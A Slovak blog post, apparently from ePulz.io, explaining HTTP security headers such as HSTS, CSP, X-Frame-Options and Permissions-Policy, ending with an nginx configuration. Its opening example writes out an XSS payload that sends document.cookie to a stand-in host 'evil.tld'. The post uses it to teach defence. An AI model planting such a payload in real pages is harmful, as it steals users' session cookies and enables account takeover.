Späť na blog

HTTP security hlavičky: deň, keď vám CSP zachráni tržbu

· 7 min čítania

Backend je pevnosť, no druhá polovica obrany je v prehliadači. HSTS, CSP a ďalšie hlavičky blokujú XSS, clickjacking aj MITM - a sú zadarmo.

HTTP security hlavičky: deň, keď vám CSP zachráni tržbu

Backend máte ako pevnosť. SQL injection ošetrené, autentifikácia solídna, secrets v env vars (nie v gite), audit prešiel. CTO vám dal high-five.

A potom niekto v komentároch pod vaším blog článkom napíše:

<img src=x onerror="fetch('//evil.tld/?c='+document.cookie)">

Váš sanitizer komentárov má bug v edge case s <img> tagom. Payload sa renderuje. A keďže nemáte nastavený jediný security header, prehliadač útok poslušne vykoná - každý prihlásený user, ktorý si otvorí stránku s komentármi, odošle session cookie útočníkovi.

Útočník tak môže získať tisíce platných session tokenov. To je full account takeover bez toho, aby na backend čo i len zaklopal.

Backend security je len polovica práce. Tá druhá polovica sa rozhoduje v prehliadači - a tam vládnu security headery.

Prečo o nich málokto hovorí

Security headery nie sú sexy. Nie sú "framework", nie sú "novinka v Node 22". Sú to riadky v nginx configu, ktoré pridáte raz a desať rokov sa o ne nestaráte. A presne preto ich polovica produkčných webov nemá - nikto o nich nepíše blog posty.

Fungujú pritom podľa jednoduchého princípu: aj keď vaša aplikácia má chybu (a má ju - každá ju má), prehliadač vám pomôže obmedziť škodu. Sú to defense in depth, nie ozdoba.

Tu sú tie, ktoré dnes nezmeškáte.

Strict-Transport-Security (HSTS)

Scenár, na ktorý reaguje: Sedíte v Starbucks-e, otvoríte laptop, pripojíte sa na "Starbucks-Free-WiFi". Lenže to je evil twin - útočník na susednom stole rozosial fake AP. Otvoríte bank.example.com. Ak ste tam predtým chodili cez HTTPS, browser to vie. Bez HSTS ale prvý request ide na http:// - a útočník v strede pošle redirect na bank-example-evil.com. Ste v phishing kit-e.

S HSTS ste chránený: prehliadač vie, že táto doména je HTTPS-only, a útočníkovi nedovolí ani prvé HTTP spojenie.

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
  • max-age=63072000 - platí 2 roky (Google odporúča minimálne rok)
  • includeSubDomains - vynúti HTTPS na všetkých subdoménach (pozor: ak máte subdoménu bežiacu len cez HTTP, napr. staging.example.com, stane sa v prehliadači nedostupnou)
  • preload - umožní zaradenie do HSTS preload listu, ktorý je zabudovaný priamo v Chrome/Firefox/Safari. HTTPS sa potom vynúti aj pri úplne prvom requeste.

Pasca s preload: odstránenie z preload listu zo všetkých stable browserov trvá zhruba 3-4 mesiace (celý release cyklus prehliadača). Pridajte ho len vtedy, keď ste si istý, že HTTPS funguje stabilne na hlavnej doméne aj na všetkých subdoménach. Inak si vyrobíte production incident na 3 mesiace.

Content-Security-Policy (CSP)

To je tá hlavička, ktorá by zachránila príbeh z úvodu článku. Definuje whitelist zdrojov, z ktorých prehliadač smie čokoľvek načítať. Útočník nahodí inline <script> cez XSS? CSP ho zablokuje. Útočník skúsi fetch('//evil.tld/...')? CSP ho nepustí. Pripojí external skript z CDN, ktorú neuznáva váš script-src? CSP ho zablokuje.

Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-...'; img-src 'self' data: https://cdn.example.com; style-src 'self' 'unsafe-inline'; frame-ancestors 'none'; report-uri /csp-violations

Najdôležitejšie direktívy:

  • default-src 'self' - default deny s výnimkami nižšie
  • script-src 'self' - žiadne externé skripty (alebo whitelist konkrétnych CDN-ov)
  • img-src 'self' data: - obrázky z mojej domény + base64 inline
  • connect-src - kam smie ísť fetch(), XMLHttpRequest, WebSocket
  • frame-ancestors 'none' - nikto nesmie embed-núť moju stránku do iframe (nahrádza X-Frame-Options)
  • report-uri /csp-violations - browser vám pošle JSON o každom porušení
  • Poznámka: report-uri je dnes deprecated - prehliadače s podporou report-to ho ignorujú. Moderný spôsob je direktíva report-to plus samostatná hlavička Reporting-Endpoints; report-uri nechajte len ako fallback pre Firefox, ktorý report-to zatiaľ nepodporuje.

Posledný bod je zlato. Ten reportovací endpoint sa stane vašou IDS-kou: prvý záznam typu script-src violation, blocked-uri: //evil.tld/x.js vám povie, že práve teraz prebieha XSS attempt. Logy pošlete do Grafany alebo Telegramu. O útoku tak viete za 3 minúty, nie za 3 dni z helpdesk ticketu.

CSP nie je "set and forget". Pri prvom nasadení používajte Content-Security-Policy-Report-Only - browser nezablokuje, len reportuje. Pozrite sa 2 týždne na reporty, preložte inline skripty na nonce alebo sha256 hash a až potom zapnite enforce mode. Inak vám CSP zlomí Google Analytics, Stripe widget a pol dashboardu.

X-Frame-Options

Scenár: Útočník vytvorí stránku cute-cat-pictures.tld. Cez celú obrazovku rozloží obrázky mačiek. Nad jedným z nich je 1x1 px transparentný iframe s vaším accounts.example.com/transfer-money?to=attacker&amount=1000. User klikne na mačku - a v skutočnosti klikne na Potvrdiť vo vašom UI.

Toto sa volá clickjacking. X-Frame-Options ho zablokuje.

X-Frame-Options: DENY

Hodnoty: DENY (nikto), SAMEORIGIN (iba moja doména). Moderné prehliadače uprednostňujú frame-ancestors v CSP, ale X-Frame-Options stále zachytí staršie browsre - pridajte obe.

(Tretia historická hodnota ALLOW-FROM uri je dnes zbytočná - žiadny moderný prehliadač ju nepodporuje. Použite frame-ancestors v CSP.)

X-Content-Type-Options

Scenár: Váš e-shop dovolí userom uploadovať profilovú fotku. Útočník vám nahodí súbor profile.jpg, ktorý je ale v skutočnosti HTML s JavaScriptom. Ak ho server servuje s Content-Type: image/jpeg, no Chrome cez MIME sniffing "uhádne", že je to vlastne HTML, browser ho spustí ako stránku. JS sa vykoná v origin vašej domény. Steal session, prefetch admin endpointov, hotovo.

X-Content-Type-Options: nosniff

Jeden riadok. Browser sa drží toho, čo povedal Content-Type. Vždy ho dajte. Žiadne edge case-y, žiadne nuansy - len ho zapnite.

Referrer-Policy

Scenár, na ktorý reaguje: User klikne vo vašej aplikácii na link /reports?token=AbCd123XyZ&user_id=42. Otvorí externý web. Bez Referrer-Policy ten externý web v Referer headeri uvidí celú URL - aj s tokenom aj s user_id. Token tak skončí v logoch tretej strany, v analytics, v CDN. Pre kohokoľvek s prístupom k tým logom je to pekný darček.

Referrer-Policy: strict-origin-when-cross-origin

Pri navigácii na cudziu doménu pošle iba origin (https://example.com), nie celú URL. Pri navigácii v rámci vašej domény pošle všetko. Toto je default v moderných browseroch (Chrome 85+, Firefox 87+), ale nastavte ho explicitne - inak v staršom browseri (alebo v embedded webview v aplikácii) tokeny leaknú.

Permissions-Policy

Scenár: XSS payload (alebo embedded iframe z compromised partner siete) zavolá navigator.mediaDevices.getUserMedia({audio:true}). User uvidí dialóg "Povoliť mikrofón?". Polovica ľudí klikne "Povoliť" zo zvyku. Útočník teraz nahráva live audio z office mítingu.

Permissions-Policy vie tieto API úplne vypnúť - aj keď ich útočník zavolá, browser ich odmietne bez dialógu.

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(), usb=()

Pravidlo: vypnite všetko, čo váš web nepoužíva. Ak nikde nemáte getUserMedia ani navigator.geolocation, nech ich útočník ani nemá ako zavolať. Princíp najmenších privilégií aplikovaný na browser API.

Praktická konfigurácia v nginx

server {
  listen 443 ssl http2;
  server_name example.com;

  # The big six
  add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
  # preload sme tu zámerne vynechali - pridajte ho až keď ste si 100% istý (viď pasca s preload vyššie)
  add_header X-Content-Type-Options "nosniff" always;
  add_header X-Frame-Options "DENY" always;
  add_header Referrer-Policy "strict-origin-when-cross-origin" always;
  add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
  add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none'; report-uri /csp-report" always;
}

Najčastejšia chyba: chýba always. Bez neho nginx pri 4xx/5xx response hlavičky vynechá - a útočník, ktorý vám dotlačí stránku do 500 (napr. cez malformed URL), dostane response bez HSTS aj CSP. always vám zaručí, že hlavičky idú vždy, vrátane error pages.

Reloadnite nginx, otvorte /tools/header-check alebo securityheaders.com a overte si A skóre. Trvá to 60 sekúnd.

Záver: lacnejšie ako cyber insurance

Security headery sú lacnejšie ako kybernetické poistenie a chránia vás presne v tom momente, keď ostatné obrany zlyhajú. Polhodina v nginx configu raz za firmu, audit dvakrát ročne pri pravidelnej údržbe - asi najlepší pomer ROI v celej infosec šachovnici.

Najtrpkejšia časť post-mortem-u po incidente nie je "ako nás kompromitovali". Je to "a o aký banálny header sme prišli". Tieto sa pridávajú teraz, kým je všetko v pohode, nie potom, keď už CTO vysvetľuje board-u, prečo musíme platiť päťcifernú GDPR pokutu.

Bezplatný audit security headers

Bez registrácie, výsledok do troch sekúnd.

Otestovať web →

Súvisiace

Zdieľať: Odkaz skopírovaný

Vyskúšajte ePulz.io zadarmo - na 7 dní bez potreby kreditnej karty.

Vytvoriť účet